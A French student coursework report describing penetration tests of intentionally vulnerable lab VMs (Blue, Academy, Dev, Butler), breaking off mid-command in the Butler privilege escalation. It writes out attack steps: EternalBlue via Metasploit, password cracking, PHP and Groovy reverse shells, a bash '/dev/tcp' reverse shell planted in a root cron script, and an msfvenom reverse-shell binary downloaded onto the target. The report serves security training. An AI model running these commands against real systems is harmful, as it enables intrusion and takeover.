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Introduction :  
 
 
​ Dans le cadre de cette SAÉ, nous allons réaliser des tests d’intrusion sur 5 machines 
virtuelles réparties entre les systèmes d’exploitation Windows et Linux. L’objectif de cette 
SAÉ est de nous former aux techniques de bases de pentesting et aux méthodologies de 
sécurité informatique en simulant des attaques.  
Pour réaliser ces tests d’intrusion, nous allons utiliser une machine virtuelle Kali Linux qui 
est un outil reconnu dans le monde du pentesting qui nous permettra donc d’analyser et 
exploiter les vulnérabilités présentes sur les machines cibles. 
Les tests d’intrusion seront structurés en plusieurs étapes logique : la découverte de la cible, 
l’analyse des services en écoute, l’identification de vulnérabilités présentes puis l’exploitation 
de ces vulnérabilités. 
N’étant pas dans un environnement réel, nous n’aurons pas à appliquer à la lettre la 
dernière partie du travail d’un pentester qui est d’exposer à ses clients le résultat de ses 
recherches, nous avons à la place ce rapport qui se rapproche de ce qu’un pentester 
pourrait faire pour présenter son travail à ses clients.  
Ainsi, ce rapport présente les étapes suivies lors des tests d’intrusions avec les résultats 
obtenus en passant bien évidemment par toutes les techniques utilisées.  

BUSSON Emilien 
DE SAINT LEON LANGLES Quentin 
BUT2 Réseaux et Télécommunications 

2 



Sommaire :  
Introduction :​ 2 
Sommaire :​ 3 
I - Première VM (Blue) :​ 4 
II - Deuxième VM (Academy) :​ 7 
III - Troisième VM (Dev) :​ 22 
IV - Quatrième VM (Butler) :​ 38 
IV - Cinquième VM (Blackpearl) :​ 49 

 

BUSSON Emilien 
DE SAINT LEON LANGLES Quentin 
BUT2 Réseaux et Télécommunications 

3 



I - Première VM (Blue) :  
 
 
​ Pour cette première VM, on va donc utiliser notre kali linux afin de trouver l’adresse 
IP sur le réseaux NAT créé, ainsi on utilise l’outil nmap qui permet de scanner un réseau :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On voit donc que l’adresse IP de la machine est 192.168.100.5 et on peut donc scanner les 
ports ouverts sur cette machine toujours avec nmap :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On voit plusieurs services et après recherches on comprend que le 445 hébergeant Samba 
possède de nombreuses vulnérabilités, c’est donc lui qu’on va essayer d’attaquer en 
premier.  
En cherchant des exploits sur Internet, on arrive sur un site 
(https://www.hackingarticles.in/smb-penetration-testing-port-445/) qui nous dis d’utiliser 
nmap pour voir vulnérabilitées relatives à la version de SMB installée sur la machine : 
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Ici, on voit qu’il y en existe une avec un facteur de risque élevé qui est la CVE-2017-0143 
que nous allons donc exploiter. En continuant sur le site, on utilise un exploit de la 
CVE-2017-0143 qui se nomme eternalblue et qui par conséquent correspond au nom de la 
VM (Blue) ce qui indique potentiellement une bonne piste ou un hasard total.  
On lance donc metasploit pour démarrer l’exploit :  

 

BUSSON Emilien 
DE SAINT LEON LANGLES Quentin 
BUT2 Réseaux et Télécommunications 

5 



On établi en hôte distant la machine virtuelle puis on lance l’exploit (use 
exploit/windows/smb/ms17_010_eternalblue) 
Une fois l’exploit terminé, on accède à un shell sur la machine cible sur lequel on peut 
changer de shell puis taper un whoami pour savoir qui nous sommes sur la machine :  
 
 
 
 
 
 
 
 
 
 
 
Voyant que nous sommes un utilisateur system, le pentest est désormais terminé car cet 
utilisateur étant plus puissant que le root on a montré une faille existante dans cette machine 
permettant un accès malveillant.  
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II - Deuxième VM (Academy) :  
 
Pour cette nouvelle VM, Academy, nous allons dans un premier temps tenter de découvrir 
quelle adresse ip elle a afin de commencer notre analyse, pour ce faire nous allons utiliser 
un netdiscover:​
netdiscover -r 192.168.1.0/24 (r pour range soit la plage d’adresse ip que nous 
souhaitons analyser): 
​

 
 
Nous pouvons voir sur ce screen que plusieurs adresses IP sont présentes, les trois 
premières sont des adresses virtuelles générées par virtualbox dont la dernière pourrait être 
un dns. Notre VM a pour adresse IP 192.168.1.231. A noter que notre machine linux a une 
adresse ip 192.168.1.228. Tout d’abord nous pouvons commencer par faire une petite 
analyse pour voir quels services cette VM hébergée potentiellement, pour ce faire nous 
allons utiliser nmap avec la commande suivante: nmap -sV 192.168.1.231​
Ici l’option sV permet de demander à nmap de sonder les ports ouverts et de déterminer les 
informations sur les services et les versions des logiciels qui les utilisent. Voici la capture 
des informations que nmap nous retourne: 
 

 
 
Nous pouvons voir qu’il y a trois services hébergés sur cette vm, un serveur ftp, un serveur 
ssh et un serveur http sous une vieille version apache. Cependant notre nmap ne nous 
donnes pas beaucoup d’info, pour essayer d’avoir plus d’information nous pouvons tenter de 
rajouter l’option -A qui permet de détecter encore plus d’information: 
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On peut constater tout de suite beaucoup plus de choses, tout d’abord sur le serveur ftp, il 
est possible de se loguer en mode anonymous, ce qui veut dire que sans login on peut 
potentiellement accéder à certains fichiers voir répertoires entier. Tout d’abord nous allons 
tenter d’aller voir ce que nous dit le site web: 
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On constate que nous tombons directement sur la page par défaut du serveur apache qui 
explique comment le mettre en place. Cela ne nous donne pas beaucoup d’informations 
supplémentaires. 
 
Cependant, nous avions remarqué juste au dessus que le serveur ftp autorise une session 
anonymous. Nous allons donc essayer de regarder ce que nous pouvons trouver avec 
celle-ci, pour ce faire nous allons essayer de nous connecter avec la commande ftp 
192.168.1.231 (l’adresse de la machine cible. A note que pour se connecter sur une session 
anonymous il suffit uniquement de rentrer en login anonymous et ne pas mettre de mot de 
passe: 
 

 
 
Voilà, nous sommes connectés, on peut d’ailleurs constater à partir du ls qu’il y a un fichier 
accessible à la lecture pour nous, note.txt. pour le récupérer il nous suffit de faire un: 
get nom_du_fichier 
 

 
Maintenant que notre fichier est téléchargé, nous allons pouvoir quitter le serveur ftp pour 
pouvoir consulter de manière correcte notre fichier nouvellement téléchargé.  
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On constate que c’est censé être une note interne ou jdelta expliquant a Health que Grimmie 
a créé le nouvel academy. On pourrait en déduire également que c’est le même mot de 
passe utilisé par tous pour le moment. On peut aussi voir une injection sql ou on nous 
explique que le login est dans la colonne StudentRegno.  
 
Cependant, on sait maintenant qu’il doit probablement y avoir d'autres pages sur ce site 
autre que la page par défaut. Mais pour ce faire nous devons connaître l’arborescence. Il 
existe plusieurs méthodes pour ce faire, ici, nous allons utiliser DirBuster qui permet de 
forcer les noms de répertoires et de fichiers sur les serveurs web ou d’application. Voici 
comment nous devons configurer DirBuster pour que cela fonctionne:​
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Le DirBuster est pas encore fini, mais nous avons déjà une arborescence qui commence à se 
former:​

​
 
 
On peut voir que dans le /academy  nous avons un index.php. Nous allons essayer de nous 
connecter. 
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On constate une page ou l’on doit se connecter. Avec notamment marqué “Enter Reg no”. On 
peut en déduire que cela correspond au login présent dans le note.txt. Cependant, l'écriture 
marque dans password semble chiffre. Tout d’abord nous allons devoir tenter de le 
déchiffrer. On constate à l'aide de l’outil de reconnaissance de chiffrement sur dcode.fr que 
le plus probable serait le hash en md5, car le premier de la liste dans les résultats.​

 
 
Si on essaye de déchiffrer avec le md5, on obtient le résultat azerty comme montre l’image 
ci dessous, cela semble être le bon hash que nous avons trouvé : 
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Nous allons désormais tester sur le site l’identifiant et le mot de passe que nous venons de 
trouver pour voir si nous pouvons pas accéder à plus de chose: 

  
 
En testant avec ces logins on obtient un invalid Reg no or Password signifiant que notre mot 
de passe n'est donc pas le bon. Cela veut dire que notre site n’a pas bien fonctionné. Après 
plusieurs recherches sur internet, je suis tombé sur l’outil John The Ripper. Cet outil 
fonctionne à partir de 3 éléments, une base de mot de passe prédéfini qui va lui servir de 
modèle pour bruteforce celui que nous allons tenter de découvrir, et le hash dans un fichier 
de texte. Au préalable il est mieux de connaitre une bonne fois pour toute le type de hash 
utilisé, pour cela nous pouvons aller sur ce site: https://www.tunnelsup.com/hash-analyzer/ 
qui permet d’identifier le type de hash. Ici on constatera que c’est bien du md5: 

​
  
Pour faire fonctionner le script nous allons utiliser ce fichier de mot de passe: 
https://github.com/zacheller/rockyou  
 
Pour mettre le mot de passe dans un fichier: 
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echo cd73502828457d15655bbd7a63fb0bc8 > hash.txt 
 
Nous pouvons maintenant lancer le script avec la commande suivante: 
john --wordlist=rockyou.txt --format=RAW-MD5 hash.txt 
 
Le script est très rapide et nous permet d’obtenir le résultat suivant: 

 
il semblerait donc que notre mot de passe soit plus student que azerty, nous allons essayer: 
On constate que c’est le bon mot de passe puisque nous accédons à de nouvelles pages 
notamment change password: 

 
 
Nous pouvons regarder différentes pages accessibles et voir ce que nous pourrions faire: 
Dans Enroll For course: 
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Dans Enroll History: 

 
Enfin dans My profile: 

 
 
Le seul endroit qui pourrait nous intéresser est la page my profile. En effet on peut constater 
que nous pouvons importer une photo, hors si l’importation de photo à pas correctement 
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configuré, il est possible d’y insérer du code malveillant et d'insérer un reverse shell a la 
place. C’est ce que nous allons tenter de faire. 
 
Tout d’abord nous devons trouver un code de reverse shell avec php puisque tout le site est 
codé en php. 
On peut trouver un dépôt github qui en mets un à disposition ou nous avons juste a modifier 
l’adresse ip et le port d'écoute:  
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php 

 
 
Nous allons l’essayer, pour ce faire nous devons suivre les étapes suivante: 
git clone https://github.com/pentestmonkey/php-reverse-shell.git 
cd cd php-reverse-shell  
nano php-reverse-shell.php  
nous allons juste modifier l’ip le port n’est pas utiliser sur notre machine donc ce n’est très 
grave de ne pas le changer: 

 
avant de lancer le reverse-shell nous allons écouter sur notre machine au port 1234 avec la 
commande suivante: 
nc -lvnp 1234 

 
 
Nous avons importer le fichier il ne reste plus qu'à update pour voir si cela fonctionne: 
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Notre reverse shell a fonctionné: 

 
afin d’avoir un shell stabilise nous allons utiliser cette commande: 
python -c 'import pty;pty.spawn("/bin/bash")' 

 
Nous allons nous balader dans les différents répertoires, pour ce faire nous pouvons pour 
que cela soit plus rapide utiliser la commande ls -R qui permet d’afficher les répertoires 
parents et enfants. En parcourant le résultat obtenu par cette commande on voit 
l’arborescence de notre site: 
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on peut voir dans le répertoire /var/www/html/academy/admin/includes un fichier config.php. 
nous allons regarder son contenu: 

 
on constate un identifiant: “grimmie”, mais également un mot de passe: 
”My_V3ryS3cur3_P4ss”. Si on se rappelle, dans le fichier note il est indiqué qu' on avait 
demander a grimmie de ne pas mettre les même mots de passe partout et qu’il allait bientôt 
régler ce soucis, cela veut dire qu’il est possible que le mot de session soit le même que le 
mot de passe de base de données. Dans un premier temps nous allons regarder si il existe 
un utilisateur grimmie: 
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On constate que l’utilisateur grimmie existe bien, nous allons essayer de s’y connecter avec 
les informations que nous connaissons.​

​
Nous sommes désormais connectés à Grimmie, le mot de passe n’avait pas encore été 
changé.  
 
Maintenant que nous sommes connecté à un utilisateur, et de manière fiable nous allons 
essayer de faire une élévation de privilège. Pour simplifier par la suite nous allons utiliser un 
accès ssh puisque nous connaissons le mot de passe de grimmie. 
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Maintenant que nous avons un accès ssh, nous allons utiliser le script linpeas qui permet de 
réparer de manière générale les potentielles failles permettant de faire de l'élévation de 
privilège. Il se trouve juste ici: PEASS-ng/linPEAS at master · peass-ng/PEASS-ng · GitHub 
 
Pour pouvoir le récupérer nous devons d’abord le télécharger sur notre machine kali pour 
pouvoir le récupérer sur notre machine cible. Pour ce faire nous allons suivre les étapes 
suivantes: 
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh 

python3 -m http.server 8000 
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Maintenant que le script linPEAS est téléchargeable nous allons sur notre machine cible 
exécuter les commandes suivantes: 
wget 192.168.1.228:8000/linpeas.sh 
ajouter les droits d'exécution: 
chmod +x linpeas.sh 
./linpeas.sh -a 

 
Il faut désormais attendre quelques minutes le temps que le script se termine entièrement. 
On peut constater au début des résultat la légende des couleurs: 

 
En rouge surbrillance jaune cela veut dire que c’est très probablement exploitable et avec 
une grande chance de reussir, rouge que cela doit attirer notre attention. 
on peut constater ici que nous avons un fichier qui est excecuter en root: 

 
un fichier qui doit probablement être utile pour faire des backup au vu de son nom. 
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On voit que dans les crons jobs, des actions qui sont réalisées de manière chronique, notre 
backup.sh est présent. Cela veut dire que ce fichier est souvent exécuté en temps que root. 
De plus on voit que devant le chemin de notre fichier, il y a 5 étoiles, cela signifie qu’il est 
utilisé toute les minutes en temps que root. Nous allons essayer de remplacer le contenu de 
ce fichier par un reverse shell: 
 
Sur ce site on peut trouver des reverse shell pour tout type de langage, nous allons utiliser 
du bash dans cette situation: 
Reverse Shell Cheat Sheet | pentestmonkey 
 
pour faire un reverse shell en bash il nous suffit de remplacer le contenu ou d’ajouter au 
contenu de backup.sh la ligne suivante: 
bash -i >& /dev/tcp/192.168.1.228/4040 0>&1 

 

avant d’enregistrer et d'exécuter dans un autre shell nous allons ouvrir un port d'écoute: 

nc -lvnp 4040 

Une fois ce port d'écoute ouvert, nous pouvons enregistrer ce fichier et attendre un peu. Ca 
y est nous sommes root: 

 

Nous pouvons donc en déduire que notre élévation de privilège est terminée et réussie. 
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III - Troisième VM (Dev) :  
​ Une nouvelle fois pour cette machine, l’outil nmap va nous permettre de trouver 
l’adresse IP de la VM à pentester en scannant le réseau comme ceci :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On observe donc que l’adresse IP de cette machine est 192.168.100.8 ce qui permet donc 
de scanner les ports ouverts une nouvelle fois avec nmap :  
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Il y a donc 5 ports ouverts qui sont les 22, 80, 111, 2049 et 8080 qui correspondent 
respectivement à SSH, HTTP, RPC, NFS et Web. 
La première chose que l’on va chercher à attaquer est le site web hébergé sur cette 
machine.  
Avec la commande curl, on peut voir l’entête http :  
 
 
 
 
 
 
 
On comprend donc que le serveur utilisé ici est Apache avec une version 2.4.38 et lorsque 
l’on accède au site on tombe sur ceci : 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Il y a donc Bolt sur ce serveur mais on ne peut pas tirer d’informations à partir de seulement 
ça, c’est pourquoi on va utiliser dirbuster afin de voir si certains fichiers sont accessibles. 
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On va commencer par voir si il y a des fichiers php :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Avec seulement le fichier index.php, il n’est pas possible de faire quoique ce soit de plus 
donc on va cette fois voir pour les fichiers json :  
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On comprend donc que le fichier composer.json est accessible dans lequel on trouve 
certaines informations comme par exemple les versions de certaines bibliothèques :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
La version de Bolt étant 3.7 comme semble le montrer ce fichier composer.json, on va 
maintenant chercher des vulnérabilités pour cette version de bolt avec l’outil metasploit :  
 
 
 
 
 
 
 
 
 
 
 
 
 
Une vulnérabilité pour Bolt 3.7.0 est présente du nom de Authenticated Remote Code 
Execution que l’on va pouvoir utiliser avec la commande use 0 :  
 
 
 
 
 

BUSSON Emilien 
DE SAINT LEON LANGLES Quentin 
BUT2 Réseaux et Télécommunications 

26 



 
 
 
 
 
 
 
 
 
 
 
  
 
 
 
 
 
 
 
 
En regardant les options de cet exploit, on comprend qu’il est nécessaire d’avoir un login 
ainsi qu’un mot de passe ce qui nous empêche donc pour le moment de l’utiliser.  
 
 
 
 
 
On va donc maintenant se concentrer sur le fait de trouver une paire login / mot de passe 
afin d’utiliser l’exploit. Pour ce faire on va continuer d’explorer le site avec tous les fichiers 
disponibles et ainsi on arrive sur le fichier /app/cache/config-cache.json dans lequel on 
trouve les informations suivantes :  
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Ce fichier semble contenir plein d’informations sur la configuration de Bolt avec notamment 
deux lignes “username” et “password” ayant respectivement pour valeur “bolt” et 
“I_love_java’” ce qui va nous permettre d’essayer l’exploit :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On configure donc le remote host, l’username, le password ainsi que le local host pour 
lancer l’exploit :  
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Mais malheureusement une erreur survient et empêche l’exploit de se créer.  
 
 
On va donc maintenant essayer de se connecter en ssh avec ces identifiants :  

 
Mais une nouvelle fois une erreur, cet utilisateur n’est pas présent sur la machine virtuelle en 
tant que tel. 
 
 
Tous ces tests n’étant pas concluant, on va maintenant essayer de s’attaquer à un autre port 
: le 8080 qui est toujours un site hébergé sur lequel on va appliquer un dirbuster small :  
 
 
 
 
 
 
 
 
 
 
Lorsque l’on accède au /dev on tombe sur cette page :  
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On peut voir le bouton login sur lequel on clique pour essayer de se connecter avec les 
identifiants trouvés précédemment mais cela ne donne pas de résultats concluent donc on 
va essayer de créer un compte admin via la section “register” mais voici ce que l’on obtient 
lorsque l’on tape admin en login et en mot de passe :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Il y a donc déjà un compte nommé admin, on va donc une nouvelle fois essayer de se login 
mais cette fois avec le login “admin” et le mot de passe “I_love_java” et cette fois la 
connexion fonctionne et nous permet d’être admin sur Bolt.  
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On a maintenant beaucoup plus de pages à visiter sur ce site et après quelques recherches 

dans la page admin, on trouve une version de Boltwire :  
 
On va donc chercher des exploits pour cette version 6.03 de Boltwire et sur le site 
https://www.exploit-db.com/exploits/48411 on trouve ceci :  
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Cet exploit dit qu’il faut aller sur l’URL indiqué tout en étant authentifié pour avoir des 
informations sur la machine hôte du serveur. Ces informations ressemblent fortement au 
contenu d’un fichier “passwd” de linux dans lequel se trouve les utilisateurs du système. 
Après avoir fait la manipulation, on obtient ceci :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On voit plein d’utilisateurs systèmes ainsi qu’un utilisateur classique qui est “jeanpaul” sur 
lequel on va donc pouvoir tenter une connexion SSH, le port 22 étant ouvert, mais les mots 
de passe les plus courants comme azerty, azertyuiop ou 123456 ne fonctionnent pas. Le 
mot de passe I_love_java n’est pas non plus celui de cet utilisateur. C’est pourquoi on va 
désormais chercher à trouver son mot de passe. 
Le premier test a été un bruteforce avec hydra mais n’a pas donné de résultat concret donc 
on va essayer de chercher le mot de passe ailleurs. 
 
Pensant, qu’on avait tout exploré sur les ports 80 et 8080, on va maintenant utiliser le port 
111 dédié au serveur RPC donc on va récupérer les infos relatives à ce port comme ceci :  
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On observe un partage nfs donc on va voir ce qu’il contient pour essayer de le récupérer. 
Pour cela, on utilise showmount : 
 
 
 
 
 
  
Ainsi on voit le fichier /srv/nfs qui est disponible en partage pour notre machine kali étant 
donné que son adresse IP est 192.168.100.6. 
 
On peut alors maintenant réaliser un mount pour récupérer ce dossier avec la commande 
mount -t nfs 192.168.100.8:/srv/nfs /mnt ce qui implique que le fichier /srv/nfs est maintenant 
présent sur notre machine dans /mnt :  
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Maintenant qu’on sait qu’il se trouve un fichier zip dans ce partage, on va avoir pour objectif 
de le dézipper et après quelques recherches sur Internet on trouve un outil pour pouvoir 
faire cela : John The Ripper :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
On voit donc que John The Ripper nous donne java101 comme mot de passe pour dézipper 
ce qui fait qu’on peut désormais lire les fichiers contenu à l’intérieur qui sont todo.txt et 
id_rsa qui est une clé ssh :   
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on va donc essayer de se connecter à l’utilisateur jeanpaul avec cette clé ssh :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Ce premier test ne fonctionne et, ne comprenant pas pourquoi au premier abord, nous 
avons fait des recherches Internets qui nous ont expliqué qu’il fallait changer les propriétés 
du fichier id_rsa donc nous avons fait chmod 700 id_rsa puis avons retenter la connexion 
ssh :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Le premier mot de passe testé lors de la connexion est java101 qui n’était pas le bon puis 
I_love_java qui était celui de l’utilisateur jeanpaul :  
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Maintenant que nous sommes connectés sur la machine, il faut procéder à l’escalation de 
privilèges et pour cela, on va utiliser l’outil LinPEAS (Linux Privilege Escalation Awesome 
Script) qui va nous permettre de trouver des vulnérabilités sur la machine. Pour cela, on va 
installer LinPEAS sur notre kali puis créer un serveur web temporaire avec python pour 
pouvoir faire un wget sur la machine cible :  
 
 
 
 
 
 
 
 
 
 
 
Ce premier essai ne fonctionne pas car les droits ne sont pas corrects donc on les change 
avec chmod 777 linpeash.sh puis on le réexécute. LinPEAS est un outil qui scan l’entièreté 
de la machine et qui, grâce à un code couleur, montre les vulnérabilités présentent via 
l’utilisateur sur lequel on est connecté. Ainsi, en scrollant sur le résultat de LinPEAS, on  
tombe un moment sur ceci :  
 
 
 
 
 
La couleur rouge sur fond jaune indique que l’utilisateur jeanpaul peut utiliser zip en tant que 
root sans avoir besoin de mot de passe comme l’indique la légende de LinPEAS, cela 
permet donc de faire un reverse shell via zip pour pouvoir devenir root sur la machine : 
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Avec ce reverse shell suivi d’un whoami, on observe que l’on est maintenant root sur la 
machine et que le pentest est par conséquent terminé.  
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IV - Quatrième VM (Butler) :  
 
 
​ Pour cette VM, nous allons commencer comme pour les autre, par découvrir 
l'adresse ip de la machine à l'aide de l’outil netdiscover: netdiscover -r 
192.168.1.0/24: 

On remarque donc que l’adresse de la VM est 192.168.1.230 ce qui nous permet de faire 
une analyse des services disponibles avec nmap, le -A permet de detecter beaucoup 
d’information :  

 
On voit que le port 8080 est ouvert, ce qui indique un serveur web. Lors de la connection au 
serveur, on arrive sur cette page qui nous demande un login/mot de passe 
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N’ayant pas en notre possession ce duo, on essaye quelques mots de passe et login 
courants comme Admin Admin / admin admin / ou encore admin Jenkins puis au bout de 
quelques tests de plus en essayant jenkins jenkins on arrive à se connecter au service. 
La première chose que l’on remarque est la version du service qui est la 2.289.3 comme le 
montre le bas de la page :  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

BUSSON Emilien 
DE SAINT LEON LANGLES Quentin 
BUT2 Réseaux et Télécommunications 

39 



Avec cette version, on peut aller chercher des exploits sur Internet mais on peut également 
en trouver via le panel de jenkins dans lequel se trouve un warning indiquant les failles 
existantes sur le système. Parmi les recherches Internet, on a trouvé ce module 
(https://github.com/MarioBartolome/Jenkins-pRCE-exploit/tree/master) mais après plusieurs 
essais, il n’a pas donné de résultats concluants. 
En continuant les recherches on tombe sur un nouveau site donnant un exploit 
(https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html) mais 
malheureusement, la première étape nous bloque directement, on tombe sur cette page 
plutôt que celle qu’indique le site :  
  
 
 
 
 
 
 
 
 
 
 
 
Malgré que cet exploit ne fonctionne pas, ce site nous met sur une piste qui sont les scripts 
groovy. En naviguant sur la page de jenkins, nous allons naviguer sur toute les pages 
présente, pour voir à quoi on a accès et voir si il y avait un endroit ou on pouvait mettre des 
scripts: 

​

 

BUSSON Emilien 
DE SAINT LEON LANGLES Quentin 
BUT2 Réseaux et Télécommunications 

40 

https://github.com/MarioBartolome/Jenkins-pRCE-exploit/tree/master
https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html


 
 
Durant cette navigation je suis tombé sur la section Build Executor Status: 

 
Etant donné qu’il y a qu’une seule node,on peut en déduire que c’est celle sur laquelle on 
veut avoir accès, donc on va y accéder en cliquant dessus. On arrive sur cette page ou nous 
avons un onglet script Console: 

 
En cliquant dessus on se rends compte que c’est un endroit ou on peut effectivement 
exécuter des scripts groovy: 
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Il nous reste plus qu'à trouver un script viable pour faire un reverse shell avec un script 
groovy , pour le trouver une simple recherche google et le premier lien suffise:​

 
 
Ce lien: Pure Groovy/Java Reverse Shell · GitHub,  nous donne un code de reverse shell ou 
nous avons juste à entrer notre ip et le port sur lequel nous allons écouter. 
 
Avant de lancer le reverse shell nous allons dans un premier temps lancer l'écoute sur notre 
machine attaquante comme ceci: 
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une fois l'écoute lancer nous pouvons exécuter le script: Nous n’allons pas avoir de résultat 
dans la console, car on peut le voir sur la capture que le site est en constant changement 
mais l’attaque est bien lancée et le reverse shell fonctionnel: 

 
Le reverse shell: 

 
 
Maintenant que nous avons un reverse shell nous allons devoir passer à l'élévation de 
privilèges. Pour se faire nous devons d’abord regarder s' il existe pas des failles connu sur 
windows, qui est un windows 10 comme on peut le constater au moment ou notre reverse 
shell a été effectué. 
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Pour ce faire, une simple recherche internet peut suffire avec les bons mots clefs.

 
Ici, la recherche “windows 10 privilege escalation”, nous mets en premier lien, un repo 
github( GitHub - nickvourd/Windows-Local-Privilege-Escalation-Cookbook: Windows Local 
Privilege Escalation Cookbook), qui liste plusieurs manière de faire de l'élévation de 
privilège. 
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Pour cette machine virtuelle, nous allons nous intéresser à la dernière méthode. la Weak 
Registry Permissions. Nous nous sommes intéressés à celle-ci car c’est celle qui nous 
parlait le mieux, les clefs de registre windows. 
On peut constater que c’est un guide complet pour réaliser l’attaque:​
Windows-Local-Privilege-Escalation-Cookbook/Notes/WeakRegistryPermissions.md at 
master · nickvourd/Windows-Local-Privilege-Escalation-Cookbook · GitHub 
 
A la différence, nous allons devoir le faire à distance et sans interface graphique, ce qui veut 
dire que nous allons devoir réaliser toutes les étapes qui sont graphiques notamment au 
niveau des clefs de registre de les faire via powershell. La première étape est de faire un 
répertoire la ou nous allons mettre notre faille: 
 

 

ensuite nous allons devoir télécharger notre faille, un service qui va nous permettre d’exploiter 

l'élévation de privilège:​

https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Lab-Setup-Bi

nary/Service4.exe​

Dans un premier nous passons sur powershell car toute la suite va se faire par ici puis nous avons 

testé de telecharger le service avec wget, cependant nous avons eu une erreur: 

 

il se trouve qu’il existe une manière interne à powershell pour télécharger des fichiers: 

 

Puis avec la commande ci-dessous on installe le service: 
New-Service -Name "Vulnerable Service 4" -BinaryPathName "C:\Program 

Files\CustomSrv4\Service4.exe" -DisplayName "Vuln Service 4" -Description "My 

Custom Vulnerable Service 4" -StartupType Automatic 
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cette commande crée un service Windows appelé “Vulnerable Service 4” qui utilise l’exécutable 

situé à “C:\Program Files\CustomSrv4\Service4.exe”, avec un nom affiché “Vuln Service 4”, une 

description “My Custom Vulnerable Service 4”, et qui démarre automatiquement au démarrage 

du système. Avec celle ci on va éditer les permissions dans l’objectif d’accorder à tous les utilisateurs 

standard d’avoir la capacité de gérer ce service: 
cmd.exe /c 'sc sdset "Vulnerable Service 4" 

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWL

OCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWP;;;BU)' 

​

Voici une explication des options utilisé dans cette commande: 

●​ cmd.exe/c Exécute la commande et termine 

●​ sc dsset “Vulnerable Service 4”: Définit les paramètres de sécurité du service 

●​ D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWD

WO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPW

P;;;BU) : Chaîne SDDL définissant les permissions pour différents utilisateurs et 

groupes : 

○​ SY : Système 

○​ BA : Administrateurs 

○​ AU : Utilisateurs authentifiés 

○​ PU : Utilisateurs de puissance 

○​ BU : Utilisateurs de sauvegarde 
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En suite nous allons devoir utiliser les clefs de registre pour accorder les droit admin sur le service, 

dans la théorie nous devons nous rendre sur le registre panel a cet endroit: 
'Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vul

nerable Service 4' 

Puis de modifier les permissions et ajouter le control total a Users: 

 

 

 

 
Cependant, nous n’avons pas d’interface graphique, donc nous allons directement modifier 
avec powershell la clef de registre avec les commandes suivantes:: 

1.​$acl = Get-Acl -Path 
“HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4” : 

○​ Récupère la liste de contrôle d’accès (ACL) actuelle de la clé de registre 
spécifiée. 

2.​$rule = New-Object 
System.Security.AccessControl.RegistryAccessRule (“Users”, 
“FullControl”, “Allow”) : 

○​ Crée une nouvelle règle d’accès pour le registre, accordant le contrôle total 
(“FullControl”) aux utilisateurs (“Users”). 
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3.​$acl.SetAccessRule($rule) : 
○​ Ajoute la règle d’accès créée à l’ACL récupérée. 

4.​Set-Acl -Path “HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable 
Service 4” -AclObject $acl : 

○​ Applique l’ACL modifiée à la clé de registre spécifiée. 

 
Ensuite nous allons effectuer une énumération manuelle de la vulnérabilité: 
 
Tout d’abord nous allons dans le powershell exécutez la commande suivante: 
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable 

Service 4" | fl 

voici l’explication des commandes: 
1.​Get-Acl -Path “HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable 

Service 4” : 

○​ Récupère la liste de contrôle d’accès (ACL) de la clé de registre spécifiée. 
2.​| fl : 

○​ Formate la sortie en liste (format-list), ce qui affiche toutes les propriétés de l’ACL 

de manière détaillée. 

 

 

 

 

Nous devons voir ce qu’il y a en rouge qui indique les permissions accorder, l’objectif est de 
verfier que les commandes effectuées au-dessus fonctionne. Puis nous allons effectuer une 
deuxième commande: 
reg query 
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable 
Service 4" 
La commande ci-dessus, effectue une requête sur la clé de registre spécifiée et affiche 
toutes les sous-clés, entrées et valeurs associées à cette clé. En d’autres termes, elle 
permet de voir les paramètres et les configurations du service “Vulnerable Service 4” dans le 
registre Windows. 
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Nous devons voir ce qu’il y a en rouge, cela nous permet de vérifier la localisation du 
binaire. 
 
Pour exploiter la faille nous allons utiliser l’outil msfvenom pour créer un .exe malveillant: 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=1234 -f 
exe > Service4.exe 

 
 
Maintenant que notre binaire est cree il ne reste plus que a le transferer sur la machine 
victime, pour ce faire on va ouvrir un serveur web python avec la commande: 
python3 -m http.server 8000 
 
Et pour telecharger sur la machine victime: 
iwr -Uri http://192.168.1.228:8000/Service4.exe -Outfile 
C:\Windows\Tasks\Service4.exe 

 
On voit avec la capture que la machine a bien téléchargé le fichier. 
Enfin nous allons utiliser la commande suivante pour modifier le chemin d'accès à l’image du 
service, pour que windows executer le .exe malveillant et non celui qu’il a approuvé au 
début: 
reg add 
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable 
